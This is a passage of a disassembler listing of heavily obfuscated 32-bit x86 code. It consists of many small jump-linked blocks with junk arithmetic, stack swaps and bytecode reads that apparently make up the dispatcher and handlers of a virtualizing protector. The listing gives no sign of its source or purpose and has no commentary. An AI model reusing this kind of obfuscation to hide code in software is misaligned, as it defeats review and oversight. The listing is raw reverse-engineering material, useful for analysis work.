		add	ecx, 6FCE0749h
		jmp	loc_586FF6
; ---------------------------------------------------------------------------
		lodsb
		push	61E4h
		mov	[esp+7Ch+var_7C], edx
		mov	dh, 67h
		neg	dh
		push	eax
		push	ebx
		mov	bh, 6Ch
		not	bh
		or	bh, 0F1h
		xor	bh, 31h
		mov	ah, bh
		pop	ebx
		push	bx
		jmp	loc_587603
; ---------------------------------------------------------------------------


loc_58646A:				; CODE XREF: sub_57DD3A+D258j
		push	ecx
		mov	ecx, 130651D0h
		xor	edx, ecx
		jmp	loc_586F3A
; ---------------------------------------------------------------------------


loc_586477:				; CODE XREF: sub_57DD3A+90A6j
		pop	ebx
		xor	dh, ch
		push	[esp+82h+var_84+2]
		pop	ecx
		add	esp, 4
		jmp	loc_582158
; ---------------------------------------------------------------------------


loc_586489:				; CODE XREF: sub_57DD3A+AB9Aj
		sub	edx, ecx
		pop	ecx
		push	ecx
		jmp	loc_58D466
; ---------------------------------------------------------------------------


loc_586492:				; CODE XREF: sub_57DD3A+9FC8j
		mov	edx, esp
		push	ebp
		jmp	loc_582C3A
; ---------------------------------------------------------------------------


loc_58649A:				; CODE XREF: sub_57DD3A+6B43j
		sub	esi, 60306A57h
		add	esi, ebp
		jmp	loc_584634
; ---------------------------------------------------------------------------


loc_5864A7:				; CODE XREF: sub_57DD3A+10051j
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_5864AC:				; CODE XREF: sub_57DD3A+F936j
		push	edi
		push	ebp
		jmp	loc_582E89
; ---------------------------------------------------------------------------


loc_5864B3:				; CODE XREF: sub_57DD3A+A16Cj
		mov	edi, 4
		add	[esp+8Ah+var_88+2], edi
		pop	edi
		pop	esi
		jmp	loc_5826A4
; ---------------------------------------------------------------------------


loc_5864C3:				; CODE XREF: sub_57DD3A+E2B8j
		pop	ebx
		jmp	loc_585129
; ---------------------------------------------------------------------------


loc_5864C9:				; CODE XREF: sub_57DD3A+5AA5j
		mov	[esp+0BCh+var_BC], esi
		push	[esp+0BCh+var_B8]
		jmp	loc_58406C
; ---------------------------------------------------------------------------


loc_5864D5:				; CODE XREF: sub_57DD3A+E5B0j
		mov	ah, bl
		mov	cl, ah
		pop	eax
		mov	ebx, [esp+0BCh+var_BC]
		add	esp, 4
		push	eax
		mov	ah, cl
		mov	bh, ah
		mov	eax, [esp+0BCh+var_BC]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+0C0h+var_C0]
		pop	esp
		jmp	loc_58889B
; ---------------------------------------------------------------------------


loc_586500:				; CODE XREF: sub_57DD3A+B9C8j
		mov	esp, [esp+0BCh+var_BC]
		div	ecx
		push	edx
		mov	edx, esp
		push	esi
		jmp	loc_582718
; ---------------------------------------------------------------------------
		mov	eax, [esp+0C4h+var_C4]
		jmp	loc_58BA9F
; ---------------------------------------------------------------------------


loc_586516:				; CODE XREF: sub_57DD3A+8052j
		sub	al, 0D3h
		sub	al, 0A3h
		jmp	loc_583129
; ---------------------------------------------------------------------------
		lodsd
		add	esi, 64932335h
		add	esi, eax
		sub	esp, 4
		mov	[esp+78h+var_78], edi
		jmp	loc_587D01
; ---------------------------------------------------------------------------


loc_586536:				; CODE XREF: sub_57DD3A+B80Cj
		add	esi, 22E06188h
		pop	edx
		push	esi
		jmp	loc_589ACE
; ---------------------------------------------------------------------------


loc_586543:				; CODE XREF: sub_57DD3A+E6F9j
		sub	ecx, ebx
		sub	ecx, 4B80726h
		add	ecx, 576D5C98h
		pop	ebx
		jmp	loc_58BB50
; ---------------------------------------------------------------------------


loc_586557:				; CODE XREF: sub_57DD3A+DF7Bj
		sub	edx, 69585D81h
		add	edx, eax
		add	edx, 69585D81h
		pop	eax
		add	edx, 4
		xchg	edx, [esp+70h+var_70]
		pop	esp
		push	2DBDh
		mov	[esp+70h+var_70], edx
		push	ecx
		mov	ecx, 50D71EFDh
		mov	edx, 1B6B034Fh
		add	edx, ecx
		jmp	loc_589DD0
; ---------------------------------------------------------------------------


loc_586587:				; CODE XREF: sub_57DD3A+FF95j
		pop	esp
		bts	word ptr [esp+70h+var_70], ax
		pushf
		jmp	loc_58B865
; ---------------------------------------------------------------------------


loc_586593:				; CODE XREF: sub_57DD3A+43B1j
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_586598:				; CODE XREF: sub_57DD3A+57C9j
		mov	esi, ebx
		pop	ebx
		sub	ebx, esi
		mov	esi, [esp+0D0h+var_D0]
		add	esp, 4
		pop	small word ptr [eax]
		jmp	loc_5894E3
; ---------------------------------------------------------------------------


loc_5865AB:				; CODE XREF: sub_57DD3A+D0C5j
		push	edx
		push	[esp+0CEh+var_CC+2]
		pop	edx
		pop	[esp+0CEh+var_D0+2]
		pop	esp
		push	[esp+0C6h+var_C8+2]
		push	[esp+0CAh+var_CC+2]
		pop	eax
		add	esp, 4
		push	ebx
		jmp	loc_58AB4B
; ---------------------------------------------------------------------------


loc_5865C8:				; CODE XREF: sub_57DD3A+F6B7j
		push	esi
		push	[esp+0CEh+var_CC+2]
		mov	esi, [esp+0D2h+var_D4+2]
		add	esp, 4
		jmp	loc_589E6D
; ---------------------------------------------------------------------------


loc_5865D8:				; CODE XREF: sub_57DD3A+4EE0j
		xchg	ebx, [esp+8Ch+var_8C]
		pop	esp
		jmp	loc_58C352
; ---------------------------------------------------------------------------


loc_5865E1:				; CODE XREF: sub_57DD3A+8A01j
		sub	ecx, 5AF5740Eh
		sub	ecx, 3FD22A1h
		sub	ecx, 6927B0Fh
		add	ecx, edx
		add	ecx, 6927B0Fh
		add	ecx, 3FD22A1h
		add	ecx, 5AF5740Eh
		pop	edx
		xor	ecx, [esp+84h+var_84]
		xor	[esp+84h+var_84], ecx
		xor	ecx, [esp+84h+var_84]
		mov	esp, [esp+84h+var_84]


loc_586614:				; CODE XREF: sub_57DD3A:loc_58669Dj
		sub	esp, 4
		jmp	loc_58577C
; ---------------------------------------------------------------------------


loc_58661F:				; CODE XREF: sub_57DD3A+5264j
		mov	esp, [esp+7Ch+var_7C]
		jmp	loc_58AFBC
; ---------------------------------------------------------------------------


loc_586627:				; CODE XREF: sub_57DD3A+42FCj
		mov	ch, 0Eh
		jmp	loc_584F59
; ---------------------------------------------------------------------------


loc_58662E:				; CODE XREF: sub_57DD3A+B7A4j
		sub	esp, 4
		jmp	loc_58A7E1
; ---------------------------------------------------------------------------


loc_586639:				; CODE XREF: sub_57DD3A+4071j
		sub	esp, 4
		mov	[esp+82h+var_84+2], ebp
		mov	ebp, 2A18055Eh
		sub	edx, ebp
		pop	ebp
		add	edx, 14D1294Dh
		add	ebx, edx
		mov	edx, [esp+7Eh+var_80+2]
		jmp	loc_58CD48
; ---------------------------------------------------------------------------


loc_58665A:				; CODE XREF: sub_57DD3A+8498j
		mov	eax, [esp+0A8h+var_A8]
		jmp	loc_58D101
; ---------------------------------------------------------------------------


loc_586662:				; CODE XREF: sub_57DD3A+CD7Ej
		add	esi, 4
		xchg	esi, [esp+0A8h+var_A8]
		pop	esp
		pop	[esp+0A4h+var_A4]
		pop	esp
		bts	word ptr [esp+9Ch+var_9C], ax
		pushf
		jmp	loc_5878AA
; ---------------------------------------------------------------------------
		sub	esp, 4
		jmp	loc_58BA61
; ---------------------------------------------------------------------------


loc_586680:				; CODE XREF: sub_57DD3A+EEF8j
		pop	ebp
		jmp	loc_58DC4A
; ---------------------------------------------------------------------------


loc_586686:				; CODE XREF: sub_57DD3A+5700j
		mov	ecx, 692E300Ch
		xor	ecx, edx
		mov	edx, [esp+0D0h+var_D0]
		add	esp, 4
		xor	ecx, edx
		jmp	loc_589285
; ---------------------------------------------------------------------------


loc_58669D:				; CODE XREF: sub_57DD3A+D5F9j
		jmp	loc_586614
; ---------------------------------------------------------------------------


loc_5866A2:				; CODE XREF: sub_57DD3A+D962j
		mov	ecx, 4
		add	ebp, ecx
		pop	ecx
		add	ebp, 4
		jmp	loc_58DAA1
; ---------------------------------------------------------------------------


loc_5866B2:				; CODE XREF: sub_57DD3A+4BD9j
		push	ecx
		push	ebx
		jmp	loc_582008
; ---------------------------------------------------------------------------


loc_5866B9:				; CODE XREF: sub_57DD3A+8F6Ej
		add	eax, ebx
		mov	ebx, [esp+0AAh+var_AC+2]
		add	esp, 4
		push	esi
		mov	esi, 1D6D1FE3h
		add	[esp+0AAh+var_A8+2], esi
		pop	esi
		add	[esp+0A6h+var_A8+2], 484C0404h
		jmp	loc_587352
; ---------------------------------------------------------------------------


loc_5866DB:				; CODE XREF: sub_57DD3A+CB33j
		pop	ecx
		add	[esp+0A2h+var_9C+2], 4E791D99h
		sub	[esp+0A2h+var_9C+2], edi
		sub	[esp+0A2h+var_9C+2], 4E791D99h
		pop	edi
		jmp	loc_5855F9
; ---------------------------------------------------------------------------


loc_5866F6:				; CODE XREF: sub_57DD3A+10166j
		xor	ebp, ebx
		mov	ebx, [esp+9Eh+var_A0+2]
		add	esp, 4
		xor	ebp, 90C4A2AFh
		mov	ebx, ebp
		jmp	loc_586F43
; ---------------------------------------------------------------------------


loc_58670B:				; CODE XREF: sub_57DD3A+B13Cj
		dec	ecx
		push	edi
		jmp	loc_5862E1
; ---------------------------------------------------------------------------


loc_586712:				; CODE XREF: sub_57DD3A+10249j
		push	228Ch
		mov	[esp+0A2h+var_A4+2], esp
		jmp	loc_585069
; ---------------------------------------------------------------------------


loc_58671F:				; CODE XREF: sub_57DD3A+4208j
		push	[esp+76h+var_78+2]
		pop	ebx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	edx
		mov	edx, 35E860FFh
		push	ecx
		mov	ecx, 35E860FBh
		xor	edx, ecx
		pop	ecx
		jmp	loc_5865E1
; ---------------------------------------------------------------------------


loc_586740:				; CODE XREF: sub_57DD3A+C0CFj
		push	84230FFh
		pop	edi
		jmp	loc_58CB77
; ---------------------------------------------------------------------------


loc_58674B:				; CODE XREF: sub_57DD3A+A962j
		add	esp, 4
		add	esi, 4
		push	ebx
		mov	ebx, 2
		sub	esi, 22CF7A09h
		jmp	loc_5876DE
; ---------------------------------------------------------------------------


loc_586768:				; CODE XREF: sub_57DD3A+9A1Fj
		mov	edx, [esp+7Eh+var_80+2]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_58BB76
; ---------------------------------------------------------------------------


loc_586779:				; CODE XREF: sub_57DD3A+C81Dj
		pop	eax
		sub	ebp, edx
		pop	edx
		xor	ebp, 35FE410Bh
		shr	ebp, 3
		xor	ebp, 586308D5h
		sub	edi, ebp
		pop	ebp
		xor	[esp+76h+var_74+2], edi
		jmp	loc_58B5E2
; ---------------------------------------------------------------------------


loc_586798:				; CODE XREF: sub_57DD3A+4D89j
		mov	esp, [esp+5Ch+var_5C]
		push	6217h
		jmp	loc_58D38F
; ---------------------------------------------------------------------------


loc_5867A5:				; CODE XREF: sub_57DD3A+9B6Bj
		pop	ecx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	1E6Fh
		mov	[esp+64h+var_64], edx
		mov	edx, 4
		add	ecx, edx
		jmp	loc_585FF3
; ---------------------------------------------------------------------------


loc_5867C3:				; CODE XREF: sub_57DD3A+9600j
		push	0AE1h
		mov	[esp+68h+var_68], ebx
		push	edi
		mov	edi, 76D60365h
		mov	ebx, edi
		pop	edi
		shr	ebx, 4
		sub	esp, 4
		mov	[esp+6Ch+var_6C], edx
		mov	edx, 7656036h
		xor	ebx, edx
		pop	edx
		push	ebx
		pop	esi
		jmp	loc_581A0B
; ---------------------------------------------------------------------------


loc_5867EC:				; CODE XREF: sub_57DD3A+7EFAj
		sub	eax, 9E42BBCh
		add	eax, 24BC3AA8h
		sub	eax, ebp
		sub	eax, 24BC3AA8h
		add	eax, 9E42BBCh
		jmp	loc_587F98
; ---------------------------------------------------------------------------


loc_586807:				; CODE XREF: sub_57DD3A+6B6Aj
		xor	[esp+90h+var_90], 6677532Bh
		mov	edx, [esp+90h+var_90]
		add	esp, 4
		push	esi
		jmp	loc_5833ED
; ---------------------------------------------------------------------------


loc_58681D:				; CODE XREF: sub_57DD3A+9979j
		push	edx
		mov	dh, 0A2h
		jmp	loc_588977
; ---------------------------------------------------------------------------


loc_586825:				; CODE XREF: sub_57DD3A+1009Ej
		mov	bh, cl
		pop	ecx
		pop	edx
		inc	bh
		or	bh, 67h
		push	edx
		jmp	loc_58BC89
; ---------------------------------------------------------------------------


loc_586834:				; CODE XREF: sub_57DD3A+A6D4j
		sub	ebx, edi
		pop	edi
		sub	esp, 4
		mov	[esp+90h+var_90], ebx
		push	[esp+90h+var_8C]
		push	[esp+94h+var_94]
		pop	ebx
		push	ebp
		jmp	loc_58A252
; ---------------------------------------------------------------------------


loc_58684E:				; CODE XREF: sub_57DD3A+7700j
		pop	cx
		xor	dh, ah
		pop	eax
		xor	al, dh
		jmp	loc_58705A
; ---------------------------------------------------------------------------


loc_58685A:				; CODE XREF: sub_57DD3A+8CB7j
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_58685F:				; CODE XREF: sub_57DD3A+8E7Dj
		push	esp
		pop	esi
		add	esi, 4
		jmp	loc_58BF3F
; ---------------------------------------------------------------------------


loc_58686C:				; CODE XREF: sub_57DD3A+5547j
		mov	dl, 3Eh
		sub	bl, 49h
		sub	bl, dl
		push	ax
		mov	ah, 49h
		add	bl, ah
		pop	ax
		pop	edx
		sub	bl, 95h
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		push	[esp+5Ah+var_5C+2]
		jmp	loc_58AEE6
; ---------------------------------------------------------------------------


loc_58688D:				; CODE XREF: sub_57DD3A+4757j
		pop	esi
		push	eax
		push	[esp+8Eh+var_8C+2]
		mov	eax, [esp+92h+var_94+2]
		add	esp, 4
		pop	[esp+8Eh+var_90+2]
		mov	esp, [esp+8Ah+var_8C+2]
		mov	fs:[edx], ax
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_5868AB:				; CODE XREF: sub_57DD3A+D6ABj
		mov	[esp+8Ah+var_8C+2], ebp
		push	[esp+8Ah+var_8C+2]
		pop	eax
		jmp	loc_584B6C
; ---------------------------------------------------------------------------


loc_5868B7:				; CODE XREF: sub_57DD3A+C0C7j
		add	esi, edi
		pop	edi
		jmp	loc_589463
; ---------------------------------------------------------------------------


loc_5868BF:				; CODE XREF: sub_57DD3A+AA50j
		sub	ecx, 75AF3FB0h
		add	ebx, ecx
		pop	ecx
		push	edi
		jmp	loc_58D142
; ---------------------------------------------------------------------------


loc_5868CE:				; CODE XREF: sub_57DD3A+4C3Bj
		sub	dl, bh
		pop	ebx
		add	bl, dl
		jmp	loc_58C8D9
; ---------------------------------------------------------------------------
		push	dword ptr [edi+40h]
		jmp	loc_58AABD
; ---------------------------------------------------------------------------


loc_5868E0:				; CODE XREF: sub_57DD3A+9F60j
		add	eax, 120190h
		add	edx, eax
		mov	eax, [esp+68h+var_68]
		add	esp, 4
		push	ebx
		push	4
		pop	ebx
		sub	edx, 2F187D12h
		jmp	loc_586971
; ---------------------------------------------------------------------------


loc_5868FF:				; CODE XREF: sub_57DD3A+4375j
		sub	esp, 2
		mov	word ptr [esp+6Ah+var_6C+2], bx
		mov	bl, 0C6h
		sub	al, 46h
		sub	al, bl
		add	al, 46h
		mov	bx, word ptr [esp+6Ah+var_6C+2]
		add	esp, 2
		add	al, 0F8h
		add	al, bl
		sub	al, 0F8h
		jmp	loc_58A1A5
; ---------------------------------------------------------------------------


loc_586923:				; CODE XREF: sub_57DD3A+BFDCj
		add	esp, 4
		add	al, 86h
		jmp	loc_583714
; ---------------------------------------------------------------------------


loc_586930:				; CODE XREF: sub_57DD3A+920Dj
		mov	ebp, esp
		push	edx
		mov	edx, 4
		add	ebp, edx
		pop	edx
		add	ebp, 4
		xchg	ebp, [esp+62h+var_64+2]
		jmp	loc_5838AD
; ---------------------------------------------------------------------------


loc_586946:				; CODE XREF: sub_57DD3A+A472j
		push	ebp
		jmp	loc_588461
; ---------------------------------------------------------------------------


loc_58694C:				; CODE XREF: sub_57DD3A+D302j
		mov	[esp+66h+var_68+2], esp
		add	[esp+66h+var_68+2], 4
		jmp	loc_587E65
; ---------------------------------------------------------------------------


loc_58695B:				; CODE XREF: sub_57DD3A+FD43j
		push	399Eh
		mov	[esp+6Ah+var_6C+2], ecx
		push	edx
		mov	edx, 8E5AB8F5h
		mov	ecx, edx
		pop	edx
		jmp	loc_58DE00
; ---------------------------------------------------------------------------


loc_586971:				; CODE XREF: sub_57DD3A+8BC0j
		add	edx, ebx
		add	edx, 2F187D12h
		mov	ebx, [esp+68h+var_68]
		add	esp, 4
		xor	edx, [esp+64h+var_64]
		xor	[esp+64h+var_64], edx
		jmp	loc_583F63
; ---------------------------------------------------------------------------


loc_58698D:				; CODE XREF: sub_57DD3A+77D3j
		push	esi
		push	51040A7Ch
		pop	esi
		push	edi
		mov	edi, 5DCE6BAFh
		dec	edi
		xor	edi, 690804A1h
		and	edi, 4AB7689Dh
		and	edi, 4B83638Dh
		shl	edi, 6
		add	edi, 306C073Ah
		sub	esi, edi
		pop	edi
		mov	eax, esi
		push	[esp+7Ah+var_7C+2]
		jmp	loc_58749B
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+7Eh+var_80+2]
		push	edi
		mov	edi, esp
		push	esi
		jmp	loc_584D9F
; ---------------------------------------------------------------------------


loc_5869D0:				; CODE XREF: sub_57DD3A+6919j
		add	al, 0B2h
		sub	al, 64h
		push	2375h
		mov	[esp+88h+var_88], edx
		jmp	loc_58A4E5
; ---------------------------------------------------------------------------


loc_5869E1:				; CODE XREF: sub_57DD3A+8D13j
		add	edi, 4
		jmp	loc_58A344
; ---------------------------------------------------------------------------


loc_5869EC:				; CODE XREF: sub_57DD3A+CB90j
		mov	[esp+88h+var_88], edx
		push	eax
		pushf
		jmp	loc_58685A
; ---------------------------------------------------------------------------


loc_5869F6:				; CODE XREF: sub_57DD3A+D9A7j
		and	ebx, esi
		push	[esp+90h+var_90]
		pop	esi
		add	esp, 4
		or	ebx, ebx
		jnz	loc_584DE4
		push	18B6h
		mov	[esp+90h+var_90], esi
		jmp	loc_58AF0C
; ---------------------------------------------------------------------------


loc_586A17:				; CODE XREF: sub_57DD3A+BA71j
		push	edx
		mov	edx, 485C728Fh
		add	ecx, edx
		pop	edx
		push	eax
		mov	eax, 0
		sub	eax, ecx
		jmp	loc_58B86A
; ---------------------------------------------------------------------------


loc_586A2D:				; CODE XREF: sub_57DD3A+4696j
		pop	ebp
		sub	esi, 6FB30E80h
		pop	edx
		jmp	loc_58365F
; ---------------------------------------------------------------------------


loc_586A3A:				; CODE XREF: sub_57DD3A+D680j
		add	ebx, 4
		xor	ebx, [esp+82h+var_84+2]
		xor	[esp+82h+var_84+2], ebx
		xor	ebx, [esp+82h+var_84+2]
		pop	esp
		add	edi, 4
		jmp	loc_5869E1
; ---------------------------------------------------------------------------


loc_586A52:				; CODE XREF: sub_57DD3A+4CC2j
		add	esp, 4
		push	esi
		push	[esp+64h+var_60]
		pop	esi
		pop	[esp+64h+var_64]
		push	[esp+60h+var_60]
		pop	eax
		add	esp, 4
		jmp	loc_584532
; ---------------------------------------------------------------------------


loc_586A6D:				; CODE XREF: sub_57DD3A+D86Ej
		xchg	edx, [esp+5Ch+var_5C]
		pop	esi
		jmp	loc_5859DC
; ---------------------------------------------------------------------------


loc_586A76:				; CODE XREF: sub_57DD3A+64D8j
		add	esp, 4
		mov	bx, word ptr [esp+62h+var_64+2]
		add	esp, 2
		jmp	loc_58ABAF
; ---------------------------------------------------------------------------
		lodsd
		xor	eax, ebx
		push	edx
		push	esi
		mov	esi, 0F5908DAh
		neg	esi
		and	esi, 35D71C4Ch
		jmp	loc_583B8A
; ---------------------------------------------------------------------------


loc_586AA2:				; CODE XREF: sub_57DD3A+E033j
		push	741A03C4h
		pop	ecx
		push	ebx
		mov	ebx, 4A863C0Ch
		push	ebx
		mov	ebx, 0E3500C9h
		sub	ecx, ebx
		pop	ebx
		add	ecx, 1F5249B8h
		sub	ecx, 24EC7D57h
		sub	ecx, ebx
		add	ecx, 24EC7D57h
		sub	ecx, 1F5249B8h
		push	esi
		mov	esi, 51B77CA2h
		shl	esi, 1
		or	esi, 246456E5h
		sub	esi, 9939FF1Ch
		add	ecx, esi
		pop	esi
		jmp	loc_584DF4
; ---------------------------------------------------------------------------


loc_586AED:				; CODE XREF: sub_57DD3A+96F4j
		push	ecx
		mov	ecx, 3514001Fh
		jmp	loc_58322C
; ---------------------------------------------------------------------------
		push	4BC7h
		jmp	loc_58B184
; ---------------------------------------------------------------------------
		mov	sp, word ptr [esp+72h+var_74+2]
		jmp	loc_589D72
; ---------------------------------------------------------------------------


loc_586B0B:				; CODE XREF: sub_57DD3A+8067j
		mov	esi, [esp+64h+var_64]
		add	esp, 4
		add	esp, 4
		push	ebx
		mov	ebx, esp
		jmp	loc_588827
; ---------------------------------------------------------------------------


loc_586B1C:				; CODE XREF: sub_57DD3A+B577j
		add	edx, ebx
		sub	edx, 7A0B4291h
		jmp	loc_585AFF
; ---------------------------------------------------------------------------


loc_586B29:				; CODE XREF: sub_57DD3A+A41Aj
		add	eax, 793B3CC7h
		add	eax, 5F9E70AFh
		add	eax, 283B602Dh
		sub	eax, esi
		sub	eax, 283B602Dh
		push	edx
		mov	edx, 5F9E70AFh
		sub	eax, edx
		jmp	loc_5884E3
; ---------------------------------------------------------------------------


loc_586B4C:				; CODE XREF: sub_57DD3A+5C21j
		add	edi, edx
		jmp	loc_581DFC
; ---------------------------------------------------------------------------


loc_586B53:				; CODE XREF: sub_57DD3A+5239j
		add	edx, ebp
		pop	ebp
		jmp	loc_5841FE
; ---------------------------------------------------------------------------


loc_586B5B:				; CODE XREF: sub_57DD3A+AA45j
		push	esi
		jmp	loc_589171
; ---------------------------------------------------------------------------


loc_586B61:				; CODE XREF: sub_57DD3A+C613j
		push	esi
		mov	esi, 1DAC1A42h
		jmp	loc_587186
; ---------------------------------------------------------------------------


loc_586B6C:				; CODE XREF: sub_57DD3A+7878j
		add	ecx, 2
		xor	ecx, [esp+68h+var_68]
		xor	[esp+68h+var_68], ecx
		xor	ecx, [esp+68h+var_68]
		pop	esp
		mov	cx, word ptr [esp+64h+var_64]
		push	eax
		push	7DD7h
		push	esp
		pop	[esp+70h+var_70]
		add	[esp+6Ch+var_6C], 4
		pop	eax
		push	ecx
		mov	ecx, 678B28F2h
		jmp	loc_58BB99
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+6Ch+var_6C]
		push	eax
		mov	eax, esp
		add	eax, 4
		push	2510h
		mov	[esp+74h+var_74], esi
		push	eax
		push	44234DF3h
		jmp	loc_588762
; ---------------------------------------------------------------------------


loc_586BB6:				; CODE XREF: sub_57DD3A+B355j
		push	esi
		jmp	loc_58685F
; ---------------------------------------------------------------------------


loc_586BBC:				; CODE XREF: sub_57DD3A+A154j
		add	esp, 4
		jmp	loc_58896F
; ---------------------------------------------------------------------------
		push	[esp+7Ch+var_7C]
		mov	eax, [esp+80h+var_80]
		push	edx
		mov	edx, esp
		push	eax
		mov	eax, 12018Bh
		jmp	loc_587C98
; ---------------------------------------------------------------------------


loc_586BDB:				; CODE XREF: sub_57DD3A+C321j
		sub	al, 23h
		pop	ecx
		add	al, 0ACh
		add	al, 0F3h
		add	al, bl
		sub	al, 0F3h
		sub	al, 0ACh
		add	al, 5Ch
		push	5639h
		mov	[esp+88h+var_88], ecx
		push	edx
		mov	dl, 0F0h
		push	edx
		jmp	loc_5837BA
; ---------------------------------------------------------------------------
		lodsd
		push	1D31h
		mov	[esp+94h+var_94], edx
		sub	esp, 4
		mov	[esp+98h+var_98], edi
		mov	edi, 57BD10CFh
		not	edi
		shl	edi, 5
		sub	edi, 0A9A17DC1h
		push	esi
		push	edi
		jmp	loc_58B04C
; ---------------------------------------------------------------------------


loc_586C21:				; CODE XREF: sub_57DD3A+EA9Ej
		push	ecx
		mov	ecx, 4C285F65h
		jmp	loc_586C6E
; ---------------------------------------------------------------------------


loc_586C2C:				; CODE XREF: sub_57DD3A+579Dj
		push	esi
		mov	esi, esp
		push	eax
		jmp	loc_587637
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+0D0h+var_D0]
		sub	esp, 4
		mov	[esp+0D4h+var_D4], ecx
		push	esp
		jmp	loc_5821DC
; ---------------------------------------------------------------------------


loc_586C48:				; CODE XREF: sub_57DD3A+6652j
		pop	bx
		sub	dh, 0B4h
		push	dx
		mov	dh, 92h
		push	bx
		mov	bl, 0B1h
		add	al, bl
		pop	bx
		add	al, dh
		push	edx
		mov	dl, 0E8h
		jmp	loc_58315E
; ---------------------------------------------------------------------------


loc_586C63:				; CODE XREF: sub_57DD3A+C566j
		sub	edi, 4
		xchg	edi, [esp+0A0h+var_A0]
		jmp	loc_582D23
; ---------------------------------------------------------------------------


loc_586C6E:				; CODE XREF: sub_57DD3A+8EEDj
		mov	ebx, ecx
		pop	ecx
		push	ebp
		mov	ebp, 198032DFh
		sub	[esp+0A4h+var_9C], ebp
		pop	ebp
		sub	[esp+0A0h+var_9C], ebx
		add	[esp+0A0h+var_9C], 198032DFh
		mov	ebx, [esp+0A0h+var_A0]
		add	esp, 4
		pop	eax
		push	7FB9h
		mov	[esp+9Ch+var_9C], ebx
		mov	ebx, 58FA15A9h
		inc	ebx
		not	ebx
		add	ebx, 0A5227510h
		jmp	loc_5866B9
; ---------------------------------------------------------------------------


loc_586CAD:				; CODE XREF: sub_57DD3A+6597j
		push	edx
		mov	edx, 3B1F1993h
		add	edx, 0C4E0E671h
		sub	ebp, edx
		pop	edx
		jmp	loc_58CC7F
; ---------------------------------------------------------------------------


loc_586CC1:				; CODE XREF: sub_57DD3A+CC40j
		add	eax, 44113D73h
		pop	edx
		sub	esp, 4
		mov	[esp+86h+var_88+2], ebp
		mov	ebp, 4FA80CD9h
		jmp	loc_5826BF
; ---------------------------------------------------------------------------
		lodsd
		sub	eax, 1E5047AAh
		sub	esp, 4
		mov	[esp+8Ah+var_8C+2], edx
		push	ebp
		jmp	loc_583E53
; ---------------------------------------------------------------------------


loc_586CEF:				; CODE XREF: sub_57DD3A+B9FAj
		pop	ecx
		jmp	loc_58A336
; ---------------------------------------------------------------------------


loc_586CF5:				; CODE XREF: sub_57DD3A+937Dj
		mov	esi, 3F7D6A59h
		jmp	loc_58C347
; ---------------------------------------------------------------------------


loc_586CFF:				; CODE XREF: sub_57DD3A+7408j
		xor	esi, 0A7DF5E1Ch
		xor	ebx, esi
		jmp	loc_58C9B1
; ---------------------------------------------------------------------------


loc_586D0C:				; CODE XREF: sub_57DD3A+902Ej
		add	ecx, eax
		jmp	loc_58D624
; ---------------------------------------------------------------------------


loc_586D13:				; CODE XREF: sub_57DD3A+EEC8j
		add	esp, 4
		jmp	loc_587DAA
; ---------------------------------------------------------------------------


loc_586D1E:				; CODE XREF: sub_57DD3A+5040j
		add	ecx, 2
		xchg	ecx, [esp+92h+var_94+2]
		jmp	loc_58A8FB
; ---------------------------------------------------------------------------


loc_586D2C:				; CODE XREF: sub_57DD3A+C3BEj
		pop	dword ptr [eax]
		add	dword ptr [eax], 35F33DE3h
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_586D39:				; CODE XREF: sub_57DD3A+FC87j
		dec	bh
		or	bh, 83h
		xor	bh, 9Eh
		xor	bh, 1Fh
		jmp	loc_5880B9
; ---------------------------------------------------------------------------


loc_586D49:				; CODE XREF: sub_57DD3A+9950j
		mov	eax, 38D742EEh
		dec	eax
		shr	eax, 6
		add	eax, 60B91939h
		sub	eax, 619C7640h
		add	ecx, 5B987200h
		sub	ecx, 485C6Fh
		jmp	loc_586D0C
; ---------------------------------------------------------------------------


loc_586D6D:				; CODE XREF: sub_57DD3A+710Dj
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		jmp	loc_58AF16
; ---------------------------------------------------------------------------


loc_586D7B:				; CODE XREF: sub_57DD3A+E0C0j
		push	esp
		mov	edi, [esp+0D8h+var_D8]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_588A5C
; ---------------------------------------------------------------------------


loc_586D93:				; CODE XREF: sub_57DD3A+6E6Cj
		add	eax, ebp
		sub	esp, 4
		mov	[esp+7Ah+var_7C+2], edi
		mov	edi, 5A7C2120h
		not	edi
		jmp	loc_5825BB
; ---------------------------------------------------------------------------


loc_586DA7:				; CODE XREF: sub_57DD3A+A9AFj
		pop	esp
		mov	[esp+76h+var_78+2], esi
		jmp	loc_583272
; ---------------------------------------------------------------------------


loc_586DB0:				; CODE XREF: sub_57DD3A+854Dj
		xor	eax, 6FAD69A8h
		add	eax, 26E22942h
		xor	eax, 5DFE40DBh
		push	edx
		mov	edx, 47970130h
		sub	eax, edx
		jmp	loc_58543F
; ---------------------------------------------------------------------------


loc_586DCC:				; CODE XREF: sub_57DD3A+BDECj
		pop	esi
		sub	ecx, esi
		jmp	loc_58B3BF
; ---------------------------------------------------------------------------


loc_586DD4:				; CODE XREF: sub_57DD3A+C6FCj
		mov	ebp, 7DD83362h
		jmp	loc_5858BB
; ---------------------------------------------------------------------------


loc_586DDE:				; CODE XREF: sub_57DD3A+DA32j
		mov	dh, bh
		jmp	loc_586477
; ---------------------------------------------------------------------------


loc_586DE5:				; CODE XREF: sub_57DD3A+FB5Cj
		xor	ecx, 76360FEAh
		jmp	loc_58BA6D
; ---------------------------------------------------------------------------


loc_586DF0:				; CODE XREF: sub_57DD3A+94C3j
		sub	esp, 4
		mov	[esp+9Eh+var_A0+2], eax
		mov	eax, 8191D6Bh
		sub	esi, eax
		pop	eax
		jmp	loc_584EFD
; ---------------------------------------------------------------------------


loc_586E03:				; CODE XREF: sub_57DD3A+6F9Bj
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


